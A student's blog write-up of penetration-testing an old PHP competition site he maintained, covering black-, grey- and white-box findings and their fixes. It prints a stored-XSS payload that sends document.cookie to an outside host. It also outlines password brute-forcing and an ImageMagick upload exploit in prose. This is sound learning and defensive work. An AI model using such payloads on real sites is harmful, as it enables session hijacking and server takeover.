To supplement my Masters in Information Security, I have started to self teach myself some basic penetration testing skills. My aim is to achieve the CREST Practitioner Security Analyst certification within the next few months, and move onto the OSCP after I graduate in just over a year. At the moment, I’m mainly watching videos on Pluralsight and, initially, focusing on website penetration testing as this is my background. I found “Hack Yourself First: How to go on the Cyber-Offense” by Troy Hunt a great course; it’s a few years old but still very relevant.

After the 9 or so hours, I was eager to put some of my new found knowledge into practice and hack myself first. One problem, I haven’t developed a fully bespoke CMS since 2008 as I quickly came to the conclusion that I was a bad idea for the types of sites that I was building. Furthermore, none of those websites are online today, and I didn’t want to search for a backup of one. The vast majority of my recent builds have been powered by WordPress and I know I’d struggle to find something that the community had missed. Eventually, I remembered a website (for a photography competition) that I inherited in 2009 and then maintained for three or four years before it was retired. Crucially, however, it was still online for archive purposes. I decided that this would be a very good test as it was completely bespoke and had a lot of functionality. I’m not strictly speaking hacking “yourself” first hence the asterisk in the title.

In this post, I have documented my attempts at hacking this website based on what I have learnt from the course along with other reading material. I was originally going to split this post into a series of three, however after writing them, I thought it made more sense to be just a single article. It’s quite a long read and will be incredibly dull if you have any experience in penetration testing but I hope you enjoy it.

Part one – Black box

In this first section, I have taken a black box approach to the site and this is pretty much all you would see if you stumbled across the competition site:

If you happened to stumble across the website, you'd be presented with a login form

I have broken my tests down into the modules from Troy’s course but I haven’t gone into too much detail about the techniques. If you want to know more then just watch the videos!

Transport Layer Protection

There is no SSL/TLS certificate and I very much doubt that it was ever considered during the original build over ten years ago. Clearly, this would be different if the site was developed today but then so would a lot of things 🙂

Cross Site Scripting

I will discuss this in a bit more detail later on, but the website does not send the X-XSS-Protection browser header.

Cookies

There is a cookie containing a session ID. It is not protected by http only mode, and so potentially vulnerable to session jacking.

Internal Implementation Disclosure

I found some interesting headers in the server response:

Server:nginx
X-Powered-By:PHP/5.4.45
X-Powered-By:PleskLin

Robots.txt did not reveal anything interesting although I’m unsure whether this was the case when the website was actually live. I was however able to discover an administration login by simply “guessing” the predictable URL of /admin/

I could not find anything of interest in the HTML source code, nor did I find anything at /backup.sql or similar.

I was also able to generate a default 404 error page so it may be possible to fingerprint the server version. However, I’m not going to look any more at the actual server in this post.

Knowing that the server uses Plesk, I tried accessing /plesk-stat/ however it was restricted. Again, I do not know if this has always been the case.

Parameter tampering

In the course, Troy demonstrates using a tool called Fiddler. However, I had difficulty in getting it to work on my Mac so opted for Charles before moving onto OWASP ZAP on a Kali virtual machine. I could have used Burp Suite but I didn’t want to work with the limitations of the trial version nor buy a licence just yet. I also created a local copy of the website at this point for testing purposes, just in case.

I conducted an automated scan of the website using ZAP but this didn’t report anything that I hadn’t already discovered. I then ran some fuzz tests to look for XSS and SQL injection risks. After experimenting with a number of different payloads, I was satisfied that there was no risk of XSS or SQL injection on either login page. This was not surprising as no untrusted data was returned to screen, and I’ve always been aware of the threat of SQL injections (albeit that I didn’t fully understand the attack techniques).

SQL Injection

As explained above, I couldn’t find any evidence that the site was vulnerable to SQL injection attacks, from an untrusted user at least.

Cross site attacks

There is no X-Frame-Options browser header so the website is potentially vulnerable to a clickjacking attack.

Account Management

I tried entering a random email address and received the following generic error:

so it is not possible to enumerate accounts from the main login page.

However, there is a “Forgot password” feature. With the same random email address, I received this error:

Taking a slight liberty from my black box approach, I then entered an email address that I know exists into the same forms. I received the same error when trying to log in with a random password, but as expected, confirmation that the email address exists when resetting the password. (I’ll take a look at the actual email in the next section.) So it would be possible to discover a valid email address with a bit of effort. Personally, I don’t think this is a massive problem but it is a very easy one to avoid. On a side note, there is a good guide from Troy explaining a secure password reset feature.

On the administration side of things, there is actually no error displayed upon entering incorrect credentials and there is no password reset feature.

As one final test, I returned to ZAP and used the fuzz testing tool to try a password attack on the known username. Using a list of weak passwords from the fuzzdb. This attack failed, however it was interesting to see how quickly it check almost 1,000 paswords (albeit on a local network). This is a classic attack technique and also a difficult one to prevent as account locking and IP blocking can cause a DOS for legitimate users.

Part two – Grey box

From a black box perspective, I don’t think there is anything too shocking. The main risks being account enumeration, brute force, session hijacking and clickjacking. Most of these would have been fairly easy to mitigate. However, I was really just getting familiar with the the tools involved and I wasn’t actually expecting to find anything too worrying given the scope of the tests. In this section, I am going to look at the potential damage that can be done if an authenticated user decided to cause some mischief.

So now is probably a good time to explain the site in a little bit more detail. It was for a photography competition and there were 3 types of users:

  • Nominators: simply nominated people that they thought should be considered for the competition
  • Artists: could edit their profile and upload a series of photos for consideration
  • Judges: viewed all photos and submitted a shortlist

There was no open registration. Nominators were manually imported into the database at the start of the competition, likewise artists were imported based on nominations. The winner(s) of the competition were chosen offline using the various judges’ shortlists.

I have concentrated on the artist user level as I thought this was the area for most functionality and thus potential damage. I looked for possible attacks to gain control over other user accounts or to take control of the site/server. Given the winners were chosen manually, I did not look into ways to trick the system.

Previously, I mentioned there is a password reset feature which could be exploited for account enumeration. This is an example of the email that is received:

Password cracking

Ignoring that it’s bad practice to reset a password like this, we can see that the generated password is only 6 lowercase alphanumeric characters long, so 36^6 possible combinations (Right?!?). Quite a lot, but not for a computer running multiple processes/requests. To give me an idea of how long it would take to brute force something like this, I returned to ZAP and ran a fuzz test with a regex payload of sutn[a-z0-9]{2}. (No doubt there is a better tool for doing this, but I found this fairly easy to do):

I upped the concurrent threads to 10 but set a limit of 1,000 attempts which it completed in 2 minutes 25 seconds. Using rudimentary maths, I calculate that it would take roughly 10 years to crack a password with the above settings (and on a local network). Now that’s a very long time, but it’d be interesting to see how many concurrent scans that the live server could cope with though. I’m also vaguely aware of clever time based attacks that could speed up the brute force technique.

After I had successfully “cracked” the password, I reset it again and this is where I noticed the first big issue. I received the same password. It doesn’t actually reset the password but sends your current password. Obviously, this means that the password is stored in plaintext. This really surprised me as I’ve always been aware that storing plaintext passwords is a terrible idea, even if I naively thought an md5 hash was a good solution. As I said before, I inherited the website but I really have no excuses for not fixing this as I made various changes to the site over the course of four years. One saving grace is that there was no user registration, new accounts were manually created including the password. Although, saying that, it was possible to change your password, and looking at the database, I can see that several users did just that.

Further confirmation that passwords are stored in plaintext.

Moving quickly on, I revisited a few of the issues that I noticed from the login page. Firstly, I confirmed that it was very easy to hijack a session by copying the session id from the cookie (using web developer tools and incognito mode). I was also able to use a cross site attack to change the password as there is no anti forgery token on that form, nor did it require the user to enter their old password.

Next I concentrated on two forms, one that allows the user to update their details (including password) and another that allows them to upload/edit photos for the competition.

User details

As an experiment, I took a manual approach on a XSS attack rather than relying on ZAP. My first test was to simply change my name from “dave” to “<dave” and I had no problems with this:

then I used a bit more HTML:

before finally a XSS payload from Troy Hunt’s course:

<script>document.write("<img src='https://davewardle.com/wp-content/uploads/favicon.png?c=" + document.cookie + "'>");</script>

There we have a very quick and easy way to get a session ID and hijack another user’s session. This final XSS payload also appeared in the administration console so would allow an attacker to hijack an admin’s session too. (Note: I couldn’t figure out the expiration of these sessions – it’s definitely longer than a week though.)

In better news, the form didn’t contain any specific user id so it wasn’t possible to forge a request from another user. I also used ZAP to fuzz test for SQL injection and this failed to find anything.

Uploading an image

I did not test for XSS and SQL injection vulnerabilities on this form as I was confident that the results would be the same as above. Instead I focused on the ability to upload an image.

The form says that you are only allowed to upload a GIF, JPEG, BMP. I thought I’d test this with “test.txt” and received no errors :/ However, upon looking at the resulting page, it looks like the “image” was actually a 404 so I think this is a false positive. I then renamed this text file to “test.jpg”. Likewise, it submitted without errors but, again, the link was dead.

Given the massive XSS vulnerabilities, I thought there would be a high chance of being able to upload an image contain a payload. However, this topic wasn’t covered in the videos, so I was a bit out of my comfort zone. I read a few articles and tried a number of techniques (null bytes, exif data, imagemagick exploits) but unfortunately I didn’t make any real progress so decided to call it a day.

Part three – White box

In this final part, I have taken a quick look at the source code. As I “discovered” from the server response headers in part one, the website was developed using PHP. I can also tell you that it uses a MySQL database and was originally created by a German dev named Oli. I wanted to see if understanding the code could help me hack the two main areas that I failed to break in the first two sections: authentication, and file upload.

Login

The logic is quite straight forward – there is a query for a user with matching and password. If it returns more than one item (why not === 1?) then the user is logged into the system. Note that secure() is just a wrapper for mysql_real_escape_string. This function may now be deprecated but seems to be pretty sound. I couldn’t find any way to bypass the authentication mechanism. Let me know if you have any ideas.

Looking through the rest of the code, the developer did a good job with access control. The user’s details are stored within the session which is checked on every page.

File upload

Here there is a basic check on the file name using a regex, but it doesn’t actually test to see if it is a real image or not. After that the upload is moved to a specified directory and imagemagick is used to create several different sized versions of the image. I have absolutely no idea why the PHP module for imagemagick was not used.

With the knowledge that the original files are stored in a specific location, I revisited the imagemagick exploit that I mentioned in the previous section. Following their second approach, I uploaded three separate files:
1. A valid JPG with PHP code embedded within a exif tag
2. An XML file containing the rename command with a .jpg extension
3. The payload file to execute the rename command (with a .jpg extension)
.. and it worked!

Visiting hello.php, I now had complete control over the server (Ok, it just echoed “Hello Dave”). However, given this vulnerability was only discovered last year and the website has been out of action for over 4 years, it’s not exactly a fair test. It would also require an attacker to figure out where exactly the original files were being stored. All that said, I was pleased that I managed to have some success – I’m sure that a similar attack could be performed without looking into the future for exploits.

In terms of mitigation, it’d be very easy to check that the image is actually a valid image. Additionally, I could strip exif data from any uploaded images, use the imagick PHP module, and prevent web access to the original files. Furthermore, it goes without saying that it should not be possible to run PHP scripts from an upload directory.

Admin console

Looking into the vulnerabilities at /admin/ would be a whole separate project. One thing that I will mention is that the admin accounts are completely separate to the users in the main site so there is no way that a regular user could elevate their privileges.

Final summary

Here is a brief summary of everything that I found along with the main mitigation techniques:

Vulnerability Mitigation
Plain text passwords Store passwords using a strong hashing algorithm with salts
Persistent XSS Improved input validation and sanitisation
Session hijacking Use “HttpOnly” flag for the session cookie
Cross Site Request Forgery Use anti-forgery token with forms
Account enumeration Improved password reset mechanism
Password attacks Enforce (!) strong user passwords; Improved monitoring
Malicious file upload Improved input validation

Additionally, I could add browser security headers, use transport layer security, ensure 3rd party plugins are up to date and secure, and make sure that the server is hardened. None of these fixes would be too complicated and probably take less than two hours to implement everything. However, in this case, I decided to just disable the whole website. It was only online for archive purposes and it will be easy to re-enable it should the client need access.

I really enjoyed this exercise and learnt a lot from it. In the space of a few hours, I had managed to find several vulnerabilities of varying degree. I realise that I am still very much a beginner though, and I’m sure that I will have missed a lot. I also neglected to look at other attacks such as known exploits in third party plugins, denial of service, advanced injection techniques via the request headers, and attacking the database/server directly. There is still a heck of a lot more to learn on website testing let alone wider systems testing. In the future, I will probably practice on Hack Yourself First, Hack This Site, Natas on Over The Wire, and the many other purposely vulnerable websites/hacking challenges. I have almost moved onto the larger Ethical Hacking course by Dale Meredith and Troy Hunt; 33% of the 75 hours done so far.

Thanks for reading, and if you made it this far, I’d really appreciate some feedback (good or bad!) on twitter or by email.

PS, if you download any of the tools that I mention then please make sure you only use them on websites that you own or have permission to test on. It’s illegal to download them in the UK if you intend to use them to gain unauthorised access.